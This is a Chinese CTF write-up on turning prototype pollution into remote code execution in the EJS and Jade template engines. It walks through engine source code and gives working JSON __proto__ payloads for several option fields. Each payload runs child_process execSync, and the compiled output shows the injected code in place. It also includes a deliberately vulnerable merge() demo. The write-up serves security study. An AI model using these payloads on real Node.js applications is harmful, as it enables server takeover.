从西湖Easyjs讨论nodejs引擎RCE
西湖初赛Easyjs的题目这次将常规的两种outputFunctionName和escapeFunction都ban掉了,之前也没有很关注这一个点,比赛的时候想在网上找到别的字段进行污染的绕过方式,但是资料不是很多,也没有找到,于是索性自己又回炉重造,调试了一下,顺便把其他两种原型链污染的点补充上。
Ejs模板调试分析
EJS模板引擎是通过render函数调用ejs.js来进行模板渲染,所以我们将断点打在render处,先来看一下整个的一个污染调用链是如何调用的:
index.js
var express = require('express');
var ejs = require('ejs');
var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
//对原型进行污染
var malicious_payload = '{' +
'"__proto__":{'+
'"localsName":"a=process.mainModule.require(\'child_process\').exec(\'calc\');/*"' +
' }' +
'}';
merge({}, JSON.parse(malicious_payload));
//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'Ic4_F1ame'
});
});
//设置http
var server = app.listen(8000, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
index.ejs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= message%></h1>
</body>
</html>
- 通过render断点我们跟进到response.js模块
- 在response.js中的app.render模块我们可以看到opts参数中,有我们传入的outputFuntionName,我们继续跟进,找到能调用outputFunctionName的地方:
- 在applicattion当中我们找到tryRender模块以后,这里也是来调用ejs模块来进行渲染,跟进tryRender,然后在tryRender中跟进view.render方法
- 在view.render中,我们就发现了engine引擎这个关键字,然后进入this.engine里面,就最终进入到了ejs.js的模块当中,调用ejs.js的入口函数renderFile,在renderFile中return tryHandleCache,我们跟进tryHandleCache函数:
- 然后跟进到handleCache函数中:
- 在handleCache模块当中我们看到exports.compile模块,可以看到我们要渲染的index.ejs被渲染到compile函数当中,跟进compile函数,函数在最后renturn templ.compile():
- 然后我们就进入到了模板引擎调用的部分,下面就找一下分别都有哪些可以进行调用:
function Template(text, opts) {
opts = opts || {};
var options = {};
this.templateText = text;
/** @type {string | null} */
this.mode = null;
this.truncate = false;
this.currentLine = 1;
this.source = '';
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
options.compileDebug = opts.compileDebug !== false;
options.debug = !!opts.debug;
options.filename = opts.filename;
options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
options.strict = opts.strict || false;
options.context = opts.context;
options.cache = opts.cache || false;
options.rmWhitespace = opts.rmWhitespace;
options.root = opts.root;
options.includer = opts.includer;
options.outputFunctionName = opts.outputFunctionName;
options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
options.views = opts.views;
options.async = opts.async;
options.destructuredLocals = opts.destructuredLocals;
options.legacyInclude = typeof opts.legacyInclude != 'undefined' ? !!opts.legacyInclude : true;
function函数构造器:
- 从原型的角度上来讲,在nodejs中,每一个函数其实都是对应的Function的对象,我们通过
(function(){}).constructor === Function
可以看出,这样看的话,其实和php的createFunction比较相似,keyvalue是函数名,a是要传入的参数,console.log(1+a+this.values)是函数的内容。
var key = {
values:2
}
var keyvalue = new Function("a", "console.log(1+a+this.values)");
keyvalue.apply(key,[4])
- 我们可以看到在ejs.js当中存在这样的代码,当ctor为Function的时候,src其实就是函数的内容,我们只要将恶意代码写入函数当中我们就能够在fn.apply的时候进行调用触发,所以我们要跟进一下src的值:
try {
if (opts.async) {
try {
ctor = (new Function('return (async function(){}).constructor;'))();
}
......
}
else {
ctor = Function;
}
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
}
var returnedFn = opts.client ? fn : function anonymous(data) {
......
return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
};
- 我们可以看到src来源于source,然后source来源于prepened,以及appended,所以我们下一步要找的目标就是如何去控制prepened
第一处:outputFuncitonName字段RCE
- 这里我们能够看到prepended内容可以由outputFunctionName来控制可以看到这里再一次调用了我们污染过的outputFunctionName,然后将其拼接到字符串当中,我们就可以对他进行一个命令拼接
if (!this.source) {
......
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
......
}
{
"__proto__":{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').execSync('calc');var __tmp2"
}
}
- 可以看到调试中对outputFunctionName进行拼接以后得到prepended结果,可以看到我们的命令执行代码成功插入到里面:
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
var _tmp1;
global.process.mainModule.require('child_process').execSync('calc');
var __tmp2 = __append;
第二处:destructuredLocals字段RCE
- 可以看到
prepended += destructuring + ';\n';
进行了控制,所以这里我们就可以通过控制destructuring->控制name->控制opts.destructuredLocals[i]
来进行控制,这里opts.destructuredLocals
是数组的形式,所以我们需要传入一个污染后的数组,能让opts.destructuredLocals[0]
顺利的赋值给name我们就能够进行污染
if (opts.destructuredLocals && opts.destructuredLocals.length) {
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
{
"__proto__":{
"destructuredLocals":[
"a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2"
]
}
}
- 可以看到这里我们通过a=a;进行上面pretended+=的闭合,然后也成功注入了我们的恶意代码
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
var __locals = (locals || {}),
a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2 = __locals.a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2;
在后面fn函数进行new Function
定义的时候,src的值中就存在我们插入的恶意代码
var __line = 1
, __lines = "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n <meta charset=\"utf-8\">\r\n <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1><%= message%></h1>\r\n\r\n</body>\r\n</html>"
, __filename = "D:\\webnode\\CTF复现\\111\\index.ejs";
try {
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
var __locals = (locals || {}),
a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2 = __locals.a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2;
with (locals || {}) {
; __append("<!DOCTYPE html>\r\n<html>\r\n<head>\r\n <meta charset=\"utf-8\">\r\n <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1>")
; __line = 9
; __append(escapeFn( message))
; __append("</h1>\r\n\r\n</body>\r\n</html>")
; __line = 12
}
return __output;
} catch (e) {
rethrow(e, __lines, __filename, __line, escapeFn);
}
第三处:localsName字段RCE
在localsName字段处,也是对prepended进行了拼接,所以这里也是可以存在对应的恶意代码拼接的
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
但是这里存在一个问题是:在后面new Function的时候,localsName被作为参数在function的第一个形参处进行了拼接:
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
所以这里我们如果想通过闭合with然后单独列出我们的恶意代码就存在一些问题了,因为闭合with难免在后面拼接的时候,with前面自带的(无法闭合,导致抛出异常,所以这里我们就在with当中直接执行我们的恶意代码:
1、 这里表示如果执行localsName没有返回报错结果或者是undefined&null,就取localsName的作为返回结果
with (localsName || {}){}
2、 这里将localsName, escapeFn, include, rethrow作为参数下一步传入src当中,因为我们在上文的src中也已经看到,存在escapeFn,rethrow,locals(localsName默认值)等在src中的调用。
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
综合两点来进行考虑,我们可以将localsName附成一个值来进行执行,在with函数进行拼接的时候将localsName的值拼接进去,在后面构造函数的时候,作为参数传入src当中进行恶意代码的注入,在调用with的时候来触发恶意代码,也确保了我们不会出现因为闭合而出现报错的问题:
{
"__proto__":{
"localsName":"x=global.process.mainModule.require('child_process').execSync('calc')"
}
}
此时prepended将我们的恶意代码作为键值对插入到了with当中:
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
with (x=global.process.mainModule.require('child_process').execSync('calc') || {}) {
在调用到fn的时候我们就可以发现我们注入的键值对被当作参数来进行使用,也为后续src中出现我们参数的时候能够执行代码打下了基础。
整个src的值最后通过with执行x=global.process.mainModule.require('child_process').execSync('calc')
的时候调用function函数传入的x=global.process.mainModule.require('child_process').execSync('calc')
,将x=的部分执行以后返回结果赋值给x,这时候我们就能够进行RCE的操作了。
var __line = 1
, __lines = "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n <meta charset=\"utf-8\">\r\n <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1><%= message%></h1>\r\n\r\n</body>\r\n</html>"
, __filename = "D:\\webnode\\CTF复现\\111\\index.ejs";
try {
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
with (x=global.process.mainModule.require('child_process').execSync('calc') || {}) {
; __append("<!DOCTYPE html>\r\n<html>\r\n<head>\r\n <meta charset=\"utf-8\">\r\n <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1>")
; __line = 9
; __append(escapeFn( message))
; __append("</h1>\r\n\r\n</body>\r\n</html>")
; __line = 12
}
return __output;
} catch (e) {
rethrow(e, __lines, __filename, __line, escapeFn);
}
//# sourceURL=D:\webnode\CTF复现\111\index.ejs
第四处:escapeFunction字段RCE
这里是通过escapeFn,直接拼接入src的,所以这里也可以进行拼接,我们控制client和escapeFunction,从而进行拼接
if (opts.client) {
src = 'escxapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
{
"__proto__":{
"client":1,
"escapeFunction":"escapeFn;global.process.mainModule.require('child_process').execSync('calc')"
}
}
然后可以看到src中的值里面成功注入了我们的恶意代码:
escxapeFn = escapeFn || escapeFn;global.process.mainModule.require('child_process').execSync('calc');
var __line = 1
, __lines = "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n <meta charset=\"utf-8\">\r\n <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1><%= message%></h1>\r\n\r\n</body>\r\n</html>"
, __filename = "D:\\webnode\\CTF复现\\111\\index.ejs";
try {
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
with (locals || {}) {
; __append("<!DOCTYPE html>\r\n<html>\r\n<head>\r\n <meta charset=\"utf-8\">\r\n <title></title>\r\n</head>\r\n<body>\r\n\r\n<h1>")
; __line = 9
; __append(escapeFn( message))
; __append("</h1>\r\n\r\n</body>\r\n</html>")
; __line = 12
}
return __output;
} catch (e) {
rethrow(e, __lines, __filename, __line, escapeFn);
}
第五处:escape字段RCE
和escapeFuntion是一样的地方:
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
这里就直接给出payload:
{
"__proto__":{
"client":1,
"escape":"escapeFn;global.process.mainModule.require('child_process').execSync('calc')"
}
}
第六处: delimiter字段
delimiter字段下存在这里对source的拼接,但是因为存在switch的一个验证,line是写死的内容如果要想进入case的话,需要我们构造的delimiter字段和line进行匹配才能够进入source拼接,暂时还没有想到可控的方式
options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
scanLine: function (line) {
var d = this.opts.delimiter;
var o = this.opts.openDelimiter;
var c = this.opts.closeDelimiter;
newLineCount = (line.split('\n').length - 1);
switch (line) {
......
case o + d + d:
this.mode = Template.modes.LITERAL;
this.source += ' ; __append("' + line.replace(o + d + d, o + d) + '")' + '\n';
break;
case d + d + c:
this.mode = Template.modes.LITERAL;
this.source += ' ; __append("' + line.replace(d + d + c, d + c) + '")' + '\n';
break;
jade模板引擎注入RCE:
index.js
const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');
const app = express();
var router = express.Router();
app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));
app.get('/',function (req, res) {
res.send('Hello World');
})
app.post('/post',function (req, res) {
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
//对原型进行污染
var malicious_payload = '{"__proto__":{"self":1,"line":"global.process.mainModule.require(\'child_process\').execSync(\'calc\')"}}';
var body = JSON.parse(JSON.stringify(req.body));
var a = {};
merge(a, JSON.parse(malicious_payload));
console.log(a.name);
res.render('index.jade', {
title: 'HTML',
name: a.name || ''
});
})
app.listen(8000, () => console.log('Example app listening on port http://127.0.0.1:3000 !'))
index.jade:
doctype html
html
head
meta(charset="utf-8")
title Example App
body
h1= message
调试过程,同样我们在render处下断点,前面的调用链是一样的:
render->app.render->tryRender->view.render->this.engine
exports.__express
:
- 调用到模板的入口exports.__express,然后调用exports.renderFile(),此函数return handleTemplateCache(options)(options);
- compileDebug这里可以污染成true,这样我们就可以开启debug模式
exports.__express = function (path, options, fn) {
if (options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
options.compileDebug = false;
}
exports.renderFile(path, options, fn);
}
exports.compile
:
- 然后调用到exports.compile函数:
- 在exports.compile中存在这样的代码,可以看到fn = new Function('locals, jade', fn),而fn又是由parsed.body控制的,所以我们跟进到parse(str,option)中:
exports.compile = function(str, options){
var options = options || {}
, filename = options.filename
? utils.stringify(options.filename)
: 'undefined'
, fn;
str = String(str);
var parsed = parse(str, options);
if (options.compileDebug !== false) {
fn = [
'var jade_debug = [ new jade.DebugItem( 1, ' + filename + ' ) ];'
, 'try {'
, parsed.body
, '} catch (err) {'
, ' jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno' + (options.compileDebug === true ? ',' + utils.stringify(str) : '') + ');'
, '}'
].join('\n');
} else {
fn = parsed.body;
}
fn = new Function('locals, jade', fn)
parse
:
- 我们跟进到parse可以看到parse最后返回的值就是body,然后我们来看body,可以看到body是由js控制进行拼接的,所以我们需要对js进行跟进,因此跟进到compile.compile(),这里options.self会进行一个判断如果为真返回
var self = locals || {};\n' + js
,所以我们这里污染self为1
function parse(str, options){
......
var parser = new (options.parser || Parser)(str, options.filename, options);
var tokens;
try {
// Parse
tokens = parser.parse();
} ......
// Compile
var compiler = new (options.compiler || Compiler)(tokens, options);
var js;
try {
js = compiler.compile();
}
......
// Debug compiler
......
var globals = [];
if (options.globals) {
globals = options.globals.slice();
}
globals.push('jade');
globals.push('jade_mixins');
globals.push('jade_interp');
globals.push('jade_debug');
globals.push('buf');
var body = ''
+ 'var buf = [];\n'
+ 'var jade_mixins = {};\n'
+ 'var jade_interp;\n'
+ (options.self ? 'var self = locals || {};\n' + js : addWith('locals || {}', '\n' + js, globals)) + ';'
+ 'return buf.join("");';
return {body: body, dependencies: parser.dependencies};
}
跟进compiler.compile():
跟进visit:
然后在visit当中我们发现了拼接的地方,将我们的line拼接进去:
visit: function(node){
var debug = this.debug;
if (debug) {
this.buf.push('jade_debug.unshift(new jade.DebugItem( ' + node.line
+ ', ' + (node.filename
? utils.stringify(node.filename)
: 'jade_debug[0].filename')
+ ' ));');
}
最后我们看到fn的内容是,可以看到插入了我们line要污染的值:
var jade_debug = [ new jade.DebugItem( 1, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ) ];
try {
var buf = [];
var jade_mixins = {};
var jade_interp;
var self = locals || {};
jade_debug.unshift(new jade.DebugItem( 0, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
jade_debug.unshift(new jade.DebugItem( 1, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<!DOCTYPE html>");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 2, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<html>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 3, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<head>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 4, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<meta" + (jade.attr("charset", "utf-8", true, true)) + ">");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 5, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<title>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 5, jade_debug[0].filename ));
buf.push("Example App");
jade_debug.shift();
jade_debug.shift();
buf.push("</title>");
jade_debug.shift();
jade_debug.shift();
buf.push("</head>");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 6, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<body>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 7, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<h1>" + (jade.escape(null == (jade_interp = message) ? "" : jade_interp)));
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.shift();
buf.push("</h1>");
jade_debug.shift();
jade_debug.shift();
buf.push("</body>");
jade_debug.shift();
jade_debug.shift();
buf.push("</html>");
jade_debug.shift();
jade_debug.shift();;return buf.join("");
} catch (err) {
jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno);
}var jade_debug = [ new jade.DebugItem( 1, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ) ];
try {
var buf = [];
var jade_mixins = {};
var jade_interp;
var self = locals || {};
jade_debug.unshift(new jade.DebugItem( 0, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
jade_debug.unshift(new jade.DebugItem( 1, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<!DOCTYPE html>");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 2, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<html>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 3, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<head>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 4, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<meta" + (jade.attr("charset", "utf-8", true, true)) + ">");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 5, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<title>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 5, jade_debug[0].filename ));
buf.push("Example App");
jade_debug.shift();
jade_debug.shift();
buf.push("</title>");
jade_debug.shift();
jade_debug.shift();
buf.push("</head>");
jade_debug.shift();
jade_debug.unshift(new jade.DebugItem( 6, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<body>");
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.unshift(new jade.DebugItem( 7, "D:\\webnode\\CTF复现\\111\\views\\index.jade" ));
buf.push("<h1>" + (jade.escape(null == (jade_interp = message) ? "" : jade_interp)));
jade_debug.unshift(new jade.DebugItem( global.process.mainModule.require('child_process').execSync('calc'), jade_debug[0].filename ));
jade_debug.shift();
buf.push("</h1>");
jade_debug.shift();
jade_debug.shift();
buf.push("</body>");
jade_debug.shift();
jade_debug.shift();
buf.push("</html>");
jade_debug.shift();
jade_debug.shift();;return buf.join("");
} catch (err) {
jade.rethrow(err, jade_debug[0].filename, jade_debug[0].lineno);
}
在renderFile中,调用handleTemplateCache函数
然后在里面调用了fn(locals,Object.create(runtime))从而触发fn函数,然后执行了我们的恶意代码,从而造成RCE